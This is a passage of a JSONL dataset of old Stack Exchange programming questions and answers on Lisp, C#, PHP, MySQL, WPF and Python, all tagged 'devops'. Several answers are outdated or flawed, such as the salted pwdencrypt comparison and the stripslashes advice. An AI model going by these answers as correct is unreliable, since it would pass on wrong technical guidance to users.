faster access of their data\nHow are indexes stored?\nInternally DBs are working with\nB-Trees\nfor indexing.\nThis should be explained in greater details on wikipedia..\nhttp://en.wikipedia.org/wiki/B-tree\nhttp://en.wikipedia.org/wiki/Database", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:42.610971"}
{"id": "hf_f3ceff3559d3", "question": "<p>After understanding (quote), I'm curious as to how one might cause the statement to execute.  My first thought was</p>\n\n<pre><code>(defvar x '(+ 2 21))\n`(,@x)\n</code></pre>\n\n<p>but that just evaluates to <code>(+ 2 21)</code>, or the contents of <code>x</code>.  How would one run code that was placed in a list?</p>\n", "question_body": "", "answer": "```\n(eval '(+ 2 21))\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:42.664901"}
{"id": "hf_cbf5db356f01", "question": "<p>I want to display the TIME field from my mysql table on my website, but rather than showing 21:00:00 etc I want to show 8:00 PM. I need a function/code to do this or even any pointers in the right direction. Will mark the first reply with some code as the correct reply.</p>\n", "question_body": "", "answer": "Check this out:\nhttp://dev.mysql.com/doc/refman/5.0/en/date-and-time-functions.html\nI'd imagine you'd want date_format().\nExample: DATE_FORMAT($date, \"%r\")", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:42.735962"}
{"id": "hf_0e8071adb0e5", "question": "<p>What are the <code>access.log.*</code> files?</p>\n", "question_body": "", "answer": "Apache, I believe, does log rotation.  So these would be the older log files with the access.log file being the current one.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:42.759622"}
{"id": "hf_5d610731cf9f", "question": "<p>All too often I want a WPF slider that behaves like the System.Windows.Forms.TrackBar of old. That is, I want a slider that goes from X to Y but only allows the user to move it in discrete integer positions.</p>\n\n<p>How does one do this in WPF since the Value property on the Slider is double?</p>\n", "question_body": "", "answer": "The simple answer is that you take advantage of the\nIsSnapToTickEnabled\nand\nTickFrequency\nproperties. That is, turn snapping to ticks on and set the tick frequency to 1.\nOr, in other words ... take advantage of ticks ... but you don't necessarily have to show the ticks that you are snapping to.\nCheck out the following piece of xaml:\n```\n```\n<Slider\n    Orientation=\"Vertical\"\n    Height=\"200\"\n    Minimum=\"0\"\n    Maximum=\"10\"\n    Value=\"0\"\n    IsSnapToTickEnabled=\"True\"\n    TickFrequency=\"1\"\n/>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:42.783799"}
{"id": "hf_18880263fa31", "question": "<p>What are some of the new features that can be used in .NET 2.0 that are specific to C# 3.0/3.5 after upgrading to Visual Studio 2008? Also, what are some of the features that aren't available?</p>\n\n<p><strong>Available</strong></p>\n\n<ul>\n<li>Lambdas</li>\n<li>Extension methods (by declaring an empty System.Runtime.CompilerServices.ExtensionAttribute)</li>\n<li>Automatic properties</li>\n<li>Object initializers</li>\n<li>Collection Initializers</li>\n<li>LINQ to Objects (by implementing IEnumerable extension methods, see <a href=\"http://www.albahari.com/nutshell/linqbridge.aspx\" rel=\"nofollow noreferrer\">LinqBridge</a>)</li>\n</ul>\n\n<p><strong>Not Available</strong></p>\n\n<ul>\n<li>Expression trees</li>\n<li>WPF/Silverlight Libraries</li>\n</ul>\n", "question_body": "", "answer": "Lambdas & Extension methods are handled purely by the compiler and can be used with the .Net 2.0 framework.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:42.901605"}
{"id": "hf_b4902d31e79c", "question": "<p>I'm currently working on the <code>Tips.js</code> from <code>mootools</code> library and my code breaks on the line that has those <code>el.$tmp</code>, and console says it's undefined</p>\n\n<p>Can anybody help me?</p>\n", "question_body": "", "answer": "I'd suggest taking your question and posting it, along with a link to the page to either/or/and:\nhttp://mooforum.net\nhttp://groups.google.com/group/mootools-users/topics\nThat's the community that swarms with it.\nNow as for answering it here - I'd need a lot more information (code example?)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:42.925116"}
{"id": "hf_c73f316afa09", "question": "<p>1.\nHow can I reinterpret cast a float to an int (or a double to a long)?</p>\n\n<pre><code>float f = 2.0f;\nint i = (int)f; // causes conversion\n</code></pre>\n\n<p>I only want to copy the bit-pattern from <code>f</code> to <code>i</code>. How can this be done?</p>\n\n<p>2.\nThe implicit and explicit operators in C# uses one intermediate object because the operator function is static</p>\n\n<pre><code>public static implicit operator MyClass(double s)\n{\n    return new MyClass(s);\n} \n..\n..\nMyClass m = 2.2; // this code uses 'm' and one intermediate object.\n</code></pre>\n\n<p>This is fine for reference types, but for value-types which are big (say 20-30 bytes), this will cause unnecessary data copy. Is my understanding correct? And If yes, then why doesn't C# have a non-static conversion operator or user-defined assignment operator so that the conversion/assignment takes place on 'this'? If it does, whats the way to do it?</p>\n", "question_body": "", "answer": "The\nBitConverter\nclass can retrieve the bytes for any primitive type, which you can then use to create an int. Another option is\nBuffer.BlockCopy\nif you have large amounts of converting to do.\n```\n```\nfloat ff = 2.0f;\nint ii = BitConverter.ToInt32(BitConverter.GetBytes(ff), 0);\n\nfloat[] ff = new float[...];\nint[] ii = new int[ff.Length];\nBuffer.BlockCopy(ff, 0, ii, 0, ff.Length * 4); // byte-wise copy of ff into ii\n```\n```\nNo there is no other option given in C#, however, I think that while you're correct in the sense that there will be a copy made, any sufficiently simple implementation will have JIT optimizations done, possibly removing the need for a copy.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:42.948794"}
{"id": "hf_c9e9ef3faf6d", "question": "<p>I want to make sure people can't type the name of a PHP script in the URL and run it. What's the best way of doing this?</p>\n\n<p>I could set a variable in the file that will be including this file, and then check that variable in the file being included, but is there an easier way?</p>\n", "question_body": "", "answer": "You could check the URI and see if that file is being called with `\n```\n```\n$_SERVER['SCRIPT_FILENAME']\n```\n```\nor you could move the file outside the public folder, this is a better solution.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:42.973340"}
{"id": "hf_fff22e21ac84", "question": "<p>Given:</p>\n\n<pre><code>interface I\n{\n}\n\nclass B: I\n{\n}\n\nclass C: I\n{\n}\n\nclass A\n{\n\n    public void Method(B arg)\n    {\n    }\n\n    public void Method(C arg)\n    {\n    }\n\n    public void Method(I arg)\n    {\n       // THIS is the method I want to simplify.\n       if (I is B)\n       {\n          this.Method(arg as B);\n       }\n       else if (I is C)\n       {\n          this.Method(arg as C);\n       }\n    }\n}\n</code></pre>\n\n<p>I know that there are better ways to design this type of interactions, but because of \ndetails which would take too long to explain this is not possible.\nSince this pattern will be duplicated MANY times, I would like to replace the\nconditional logic with a generic implementation which I could use just one line.\nI can't see a simple way to implement this generic method/class, but my instincts tell me it should be possible.</p>\n\n<p>Any help would be appreciated.</p>\n", "question_body": "", "answer": "It doesn't exist in a convenient form withing C# -\nsee here\nfor an idea based on F#'s pattern matching, that does exactly what you want. You can do some things with reflection to select the overload at runtime, but that will be very slow, and has severe issues if anything satisfies both overloads. If you had a return value you could use the conditional operator;\n```\n```\nreturn (I is B) ? Method((B)I) : ((I is C) ? Method((C)I) : 0);\n```\n```\nAgain - not pretty.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:42.997240"}
{"id": "hf_8f0248ac9b92", "question": "<p>I find way too many projects to get involved in, way to many languages to play with (and way too many cool features within those languages), and way too many books to read...</p>\n\n<p>How do you guys stay focused and actually get anything done, rather than leaving a trail of partially complete \"experiments?\"</p>\n", "question_body": "", "answer": "I think a good programmer may well have lots of unfinished \"experiments\" hanging around, this is a good thing.\nUsually with a good manager, you will be held accountable if your work is simply not getting done. If you're a student, though, it's tougher. I realized that it is impossible to learn everything you want to.\nI limit myself to only learning 1 or 2 new languages per year, and only 1 book per month. That seems to be a nice balance between programming chaos and getting my job done well.\nKudos for having a great learning attitude :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:43.034345"}
{"id": "hf_3f337dd5202c", "question": "<p>I know what ViewData is and use it all the time, but in ASP.NET Preview 5 they introduced something new called TempData. </p>\n\n<p>I normally strongly type my ViewData, instead of using the dictionary of objects approach.</p>\n\n<p>So, when should I use TempData instead of ViewData?</p>\n\n<p>Are there any best practices for this? </p>\n", "question_body": "", "answer": "In one sentence:\n```\nTempData\n```\nare like ViewData with one difference: They only contain data between two successive requests, after that they are destroyed. You can use\n```\nTempData\n```\nto pass error messages or something similar.\nAlthough outdated,\nthis article\nhas good description of the\n```\nTempData\n```\nlifecycle.\nAs Ben Scheirman said\nhere\n:\nTempData is a session-backed temporary storage dictionary that is available for one single request.  It’s great to pass messages between controllers.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:43.062429"}
{"id": "hf_ca5f1c799a09", "question": "<p>Can someone explain the pros and cons of it  and any math involved with it?</p>\n", "question_body": "", "answer": "It's more accurate than vertexes (or hit-boxes etc). I'm assuming you're talking about 2d here (3d would be box-model vs vertex). Per-pixel would allow you to have detailed sprites which small things (missiles, say) would collide with more realistically.\nIt's more math and slower than the conventional method, which would be to draw a box (or some other easily math shape like a circle) and say 'this is the actor, anything in here is he'. It is however, more accurate.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:43.087008"}
{"id": "hf_275bb2c4f263", "question": "<p>Imagine you don't have the problem of feature creep, you have a motivated and stable team, clear defined problems to solve, AND you know the domain/language/tools related to your project.</p>\n\n<p>How do you <em>stick to a schedule</em> and accomplish that 1.0 milestone?<br>\nWhat is your approach to an <em>iterative shipping</em>?</p>\n\n<p>I'd like recommendations specially for a small team, where there are few or almost none communication problems.</p>\n", "question_body": "", "answer": "Focus on features not implementation tasks.\nWork in iterations (like weekly or biweekly).\nRelease working features to your staging environment in order of priority.\nUnit test your code as you go, so you're not slowed down by a buglist that increases geometrically as you approach the release date.\nBe prepared to cut scope from the less important features. Stuff always takes longer than you think it will.\nMake sure you sketch out the UI in advance (if there is a UI), and show it to potential users.\nTest, test, and test some more. This seems counter-intuitive, but it saves more time than takes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:43.110493"}
{"id": "hf_e95b577c8d1f", "question": "<p>Specifically, in VS 2008, I want to connect to a data source that you can have by right-clicking on the automatically-generated App_Data folder (an .mdf \"database\"). Seems easy, and it is once you know how.</p>\n", "question_body": "", "answer": "So here's the answer from MSDN:\nChoos[e] \"Add New Data Source\" from the\n  Data menu.[And follow the connection wizard]\nVery easy, except that I have no Data menu. If you don't have a Data menu, do the following:\nClick on Tools >> Connect to Database...\nSelect \"Microsoft SQL Server Database File\", take the default Data provider, and click OK\nOn the next screen, browse to your Database file, which will be in your VS Solution folder structure somewhere.\nTest the connection. It'll be good. If you want to add the string to the web.config, click the Advanced button, and copy the Data Source line (at the bottom of the dialog box), and paste it into a connection string in the appropriate place in the web.config file. You will have to add the \"\n```\nAttachDbFilename\n```\n\" attribute and value. Example:\nThe raw text from the Advanced panel:\n```\n```\nData Source=.\\SQLEXPRESS;Integrated Security=True;Connect Timeout=30;User Instance=True\n```\n```\nThe actual entry in the web.config:\n```\n```\n<add name=\"SomeDataBase\" connectionString=\"Data Source=.\\SQLEXPRESS; \nAttachDbFilename=C:\\Development\\blahBlah\\App_Data\\SomeDataFile.mdf;\nIntegrated Security=True; Connect Timeout=30; User Instance=True\" />\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:43.147181"}
{"id": "hf_a4bebd8e462f", "question": "<p>I just moved to a new hosting company and now whenever a string gets escaped using:</p>\n<pre><code>mysql_real_escape_string($str);\n</code></pre>\n<p>the slashes remain in the database. This is the first time I've ever seen this happen so none of my scripts use</p>\n<pre><code>stripslashes()\n</code></pre>\n<p>anymore.</p>\n<p>This is on a CentOS 4.5 64bit running php 5.2.6 as fastcgi on a lighttpd 1.4 server. I've ensured that all magic_quotes options are off and the mysql client api is 5.0.51a.</p>\n<p>I have the same issue on all 6 of my webservers.</p>\n<p>Any help would be appreciated.</p>\n<p>Thanks.</p>\n<h3>Edit:</h3>\n<h3>Magic Quotes isn't on. Please don't recommend turning it off. THIS IS NOT THE ISSUE.</h3>\n", "question_body": "", "answer": "```\nmysql_real_escape_string($str);\n```\nis supposed to do exactly that. it is meant to add backslashes to special characters especially when you want to pass the query to mysql. Take note that it also takes into account the character set of mysql.\nFor safer coding practices it would be good to edit your code and use\n```\nstripslashes()\n```\nto read out the data and remove the slashes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:43.171562"}
{"id": "hf_58bc545c30be", "question": "<p>I know it is possible, and a lot faster than using GDI+.  However I haven't found any good example of using DirectX to resize an image and save it to disk.  I have implemented this over and over in GDI+, thats not difficult.  However GDI+ does not use any hardware acceleration, and I was hoping to get better performance by tapping into the graphics card.</p>\n", "question_body": "", "answer": "You can load the image as a texture, texture-map it onto a quad and draw that quad in any size on the screen. That will do the scaling. Afterwards you can grab the pixel-data from the screen, store it in a file or process it further.\nIt's easy. The basic texturing DirectX examples that come with the SDK can be adjusted to do just this.\nHowever, it\nis\nslow. Not the rendering itself, but the transfer of pixel data from the screen to a memory buffer.\nImho it would be much simpler and faster to just write a little code that resizes an image using bilinear scaling from one buffer to another.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:43.267950"}
{"id": "hf_3cab529287c3", "question": "<p>The docs say that calling sys.exit() raises a SystemExit exception which can be caught in outer levels.  I have a situation in which I want to definitively and unquestionably exit from inside a test case, however the unittest module catches SystemExit and prevents the exit.  This is normally great, but the specific situation I am trying to handle is one where our test framework has detected that it is configured to point to a non-test database.  In this case I want to exit and prevent any further tests from being run.  Of course since unittest traps the SystemExit and continues happily on it's way, it is thwarting me.</p>\n\n<p>The only option I have thought of so far is using ctypes or something similar to call   exit(3) directly but this seems like a pretty fugly hack for something that should be really simple.</p>\n", "question_body": "", "answer": "You can call\n```\nos._exit()\n```\nto directly exit, without throwing an exception:\n```\n```\nimport os\nos._exit(1)\n```\n```\nThis bypasses all of the python shutdown logic, such as the\n```\natexit\n```\nmodule, and will not run through the exception handling logic that you're trying to avoid in this situation.  The argument is the exit code that will be returned by the process.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:43.327849"}
{"id": "hf_747bacf5b7d0", "question": "<p>I have a list string tag.</p>\n\n<p>I am trying to initialize a dictionary with the key as the tag string and values as the array index.</p>\n\n<pre><code>for i, ithTag in enumerate(tag):\n    tagDict.update(ithTag=i)\n</code></pre>\n\n<p>The above returns me {'ithTag': 608}  <em>608 is the 608th index</em></p>\n\n<p>My problem is that while the i is being interpreted as a variable, Python is treating the \"ithTag\" as a string instead of a variable.</p>\n\n<p>I'm confused, it is kind of hard to google these kind of specific questions.  I hope I worded the title of this question correctly,</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "You actually want to do this:\n```\n```\nfor i, tag in enumerate(tag):\n    tagDict[tag] = i\n```\n```\nThe .update() method is used for updating a dictionary using another dictionary, not for changing a single key/value pair.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:43.352316"}
{"id": "hf_1ca2ae59f1dd", "question": "<p>How do you select a datagridview row on a right-click?</p>\n", "question_body": "", "answer": "```\n```\n// Clear all the previously selected rows\n    foreach (DataGridViewRow row in yourDataGridView.Rows)\n    {\n      row.Selected = false;\n    }\n\n    // Get the selected Row\n    DataGridView.HitTestInfo info = yourDataGridView.HitTest( e.X, e.Y );\n\n    // Set as selected\n    yourDataGridView.Rows[info.RowIndex].Selected = true;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:43.376468"}
{"id": "hf_48245a90f1a3", "question": "<p>What is a good mobile programming platform to go with for a <code>c++</code> developer? </p>\n\n<p>Is learning <code>android</code> a good option?</p>\n", "question_body": "", "answer": "Java ME\nwill give you the widest choice of deployment options and market share, because most mobile phones support it.  Going from C++ to Java is quite easy, since Java has fewer gotchas than C++.  As a positive side effect you will also get to learn Java on a platform whose footprint is a lot smaller and manageable than\nJava SE\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:43.399987"}
{"id": "hf_b06a6b8c91d7", "question": "<p>I'm not the best programmer so I found it was much easier to write a program as several separate executables, which occasionally call each other.  But now I need an easy way to actually run them without writing detailed instructions like Run file one, wait until its completed and no longer in process manager before running file two, file three can be executed 15 seconds after file two has been created. Then Add a key to your registry. Etc.  I figure there must be a good software out there where I can just drop all my exes in, tell it when to run them, and output one file for my clients to run.  Any ideas?</p>\n", "question_body": "", "answer": "I've always had a good experience with\nNSIS\nIt's open source\nIt has a big community (and hence lots of plugins)\nFor simple things, its script-based approach is nice and easy\nIt's lightweight and fast\nOn the downside, if you want to do something more sophisticated, you need to use something that looks a bit like assembly language - very odd, and not particularly pleasant.  Thanks for the comments about that - I'd forgotten all about it!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:43.436517"}
{"id": "hf_523a344ff3ea", "question": "<p>I don't have a Rails environment set up and this is actually quite hard to find a quick answer for, so I'll ask the experts.</p>\n\n<p>When Rails creates a table based on your \"model\" that you have set up, does Rails create a table that mirrors this model exactly, or does it add in more fields to the table to help it work its magic?  If so, what other fields does it add and why?  Perhaps you could cut and paste the table structure, or simply point me to a doc or tutorial section that addresses this.</p>\n", "question_body": "", "answer": "In ActiveRecord, models are created from database tables, not the other way around.\nYou may also want to look into Migrations, which is a way of describing and creating the database from Ruby code. However, the migration is not related to the model; the model is still created at runtime based on the shape of the database.\nThere are screencasts related to ActiveRecord and Migrations on the Rails site:\nhttp://www.rubyonrails.org/screencasts", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:43.460830"}
{"id": "hf_065182cce319", "question": "<p>I have this query in sql server 2000:</p>\n\n<pre><code>select pwdencrypt('AAAA')\n</code></pre>\n\n<p>which outputs an encrypted string of 'AAAA':</p>\n\n<pre>\n0x0100CF465B7B12625EF019E157120D58DD46569AC7BF4118455D12625EF019E157120D58DD46569AC7BF4118455D\n</pre>\n\n<p><strong>How can I convert (decrypt) the output from its origin (which is 'AAAA')?</strong></p>\n", "question_body": "", "answer": "I believe pwdencrypt is using a hash so you cannot really reverse the hashed string - the algorithm is designed so it's impossible.\nIf you are verifying the password that a user entered the usual technique is to hash it and then compare it to the hashed version in the database.\nThis is how you could verify a usered entered table\n```\n```\nSELECT password_field FROM mytable WHERE password_field=pwdencrypt(userEnteredValue)\n```\n```\nReplace userEnteredValue with (big surprise) the value that the user entered :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:43.497694"}
{"id": "hf_4c8bcc7c13c3", "question": "<p>I know there are HTML entities for 1/2, 1/4, and 3/4, but are there others? Like 1/3 or 1/8? Is there a good way to encode arbitrary fractions?</p>\n", "question_body": "", "answer": "Isn't just 15/16ths alright? Or even 15/16\nths\n(\n```\n15/16<sup>ths</sup>\n```\n)?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:43.522101"}
{"id": "hf_bdf518fa5185", "question": "<p>What is the easiest way to set up an SMS alerting system so that I will receive notification if my server doesn't respond or a GET query doesn't return correct content?</p>\n", "question_body": "", "answer": "You can get a service like\nhttp://www.serviceuptime.com/\nand the send an email to your-number@a-domain-your-provider-gives They usually have the exact domains for the providers on their respective websites but you could just try @t-mobile.com if your provider is t-mobile for example.\nIf you want to write your own tool should be pretty straightforward - send GET request if you dont get the expected response send email. You should run it from 2 different locations from 2 different ISPs tho because if there are routing problems and the request doesnt go through you'll get smsed", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:43.546713"}
{"id": "hf_3a13b4ff5834", "question": "<p>V8's documentation explains <a href=\"http://code.google.com/apis/v8/embed.html#dynamic\" rel=\"noreferrer\">how to create a Javascript object that wraps a C++ object</a>. The Javascript object holds on to a pointer to a C++ object instance. My question is, let's say you create the C++ object on the heap, how can you get a notification when the Javascript object is collected by the gc, so you can free the heap allocated C++ object?</p>\n", "question_body": "", "answer": "In general, if a garbage-collected language can hold references to resources outside of the language engine (files, sockets, or in your case C++ objects), you should provide a 'close' method to release that resource ASAP, no point waiting until the GC thinks it's worthwhile to destroy your object.\nit gets worse if your C++ object is memory-hungry and the garbage-collected object is just a reference: you might allocate thousands of objects, and the GC only sees a few KB's of tiny objects, not enough to trigger collection; while the C++ side is struggling with tens of megabytes of stale objects.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:43.583464"}
{"id": "hf_1697894cfd6e", "question": "<p>I'm trying to use the <code>Microsoft.Sdc.Tasks.ServiceProcess.Exists</code> to check whether or not a service exists.  There is no example of using it in the documentation though.  Anyone have one?</p>\n", "question_body": "", "answer": "I've not actually used this in production myself, and I'm not sure which version you have (I have a copy of Release 2.1.3155.0) and according to the accompanying .chm help file the Task has the following properties:\nDoesExist    Returns TRUE if the service specified exists\nIsDisabled   Returns TRUE if the service is disabled\nServiceName  The short name that identifies the service to the system.\nThe ServiceName needs to be set to \"The short name that identifies the service to the system, e.g. 'W3SVC'\".\nYou might want to give it a try with a well known service (e.g. mssqlserver) and check the result of the other two properties (DoesExist/IsDisabled).\nUpdate: Here's a sample (works):\nImport the tasks, then call (e.g.)\n< Microsoft.Sdc.Tasks.ServiceProcess.Exists\n       ServiceName=\"Server\">\n      < Output TaskParameter=\"DoesExist\" PropertyName=\"Exists\" />\n< /Microsoft.Sdc.Tasks.ServiceProcess.Exists >\n< Message Text=\"Service exists? $(Exists)\" />", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:43.661422"}
{"id": "hf_8b27ccca9bd3", "question": "<p>PHP treats all arrays as associative, so there aren't any built in functions. Can anyone recommend a fairly efficient way to check if an array <em>&quot;is a list&quot;</em> (contains only numeric keys starting from 0)?</p>\n<p>Basically, I want to be able to differentiate between this:</p>\n<pre><code>$sequentialArray = [\n    'apple', 'orange', 'tomato', 'carrot'\n];\n</code></pre>\n<p>and this:</p>\n<pre><code>$assocArray = [\n    'fruit1' =&gt; 'apple',\n    'fruit2' =&gt; 'orange',\n    'veg1' =&gt; 'tomato',\n    'veg2' =&gt; 'carrot'\n];\n</code></pre>\n", "question_body": "", "answer": "Unless PHP has a builtin for that, you won't be able to do it in less than O(n) - enumerating over all the keys and checking for integer type. In fact, you also want to make sure there are no holes, so your algorithm might look like:\n```\n```\nfor i in 0 to len(your_array):\n    if not defined(your-array[i]):\n        # this is not an array array, it's an associative array :)\n```\n```\nBut why bother? Just assume the array is of the type you expect. If it isn't, it will just blow up in your face - that's dynamic programming for you! Test your code and all will be well...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:43.687436"}
{"id": "hf_f52108a4774e", "question": "<p>So I've been thinking of going for Microsoft certification and I have to make a choice (for now) between Windows Forms and WPF for developing Windows applications. I have had good exposure to Windows Forms but never tried WPF before. Furthermore, most of the job postings where I live seem to be WinForms-oriented. That might change in the next few years, so I was wondering if I should get started on learning WPF or stick to the tried and true Forms. </p>\n\n<p>Any insight?</p>\n", "question_body": "", "answer": "WPF leverages XAML for the design/visual experience this is the same technology that Silverlight uses and in the future will be leveraged heavily by other aspects of .NET 4.0, specifically, WCF (web services) and WF (workflow).\nI would highly recommend learning it if you have the cycles, however for certification purposes it might be easier to just go ahead and do the WinForms exam as WPF is quite different and in my experience had a bit of a learning curve (because of how different it is from WinForms).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:43.747364"}
{"id": "hf_29fbea577341", "question": "<p>I am in the position of having to make a technology choice early in a project which is targetted at mobile phones.  I saw that there is a python derivative for S60 and wondered whether anyone could share experiences, good and bad, and suggest appropriate IDE's and emulators.</p>\n\n<p>Please don't tell me that I should be developing on Windows Mobile, I have already decided not to do that so will mark those answers down.</p>\n", "question_body": "", "answer": "Have you checked out the\nMobile Python Book\n?\nThis practical hands-on book effectively teaches how to program your own powerful and fun applications easily on Nokia smartphones based on Symbian OS and the S60 platform.\n(source:\nmobilenin.com\n)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:43.783262"}
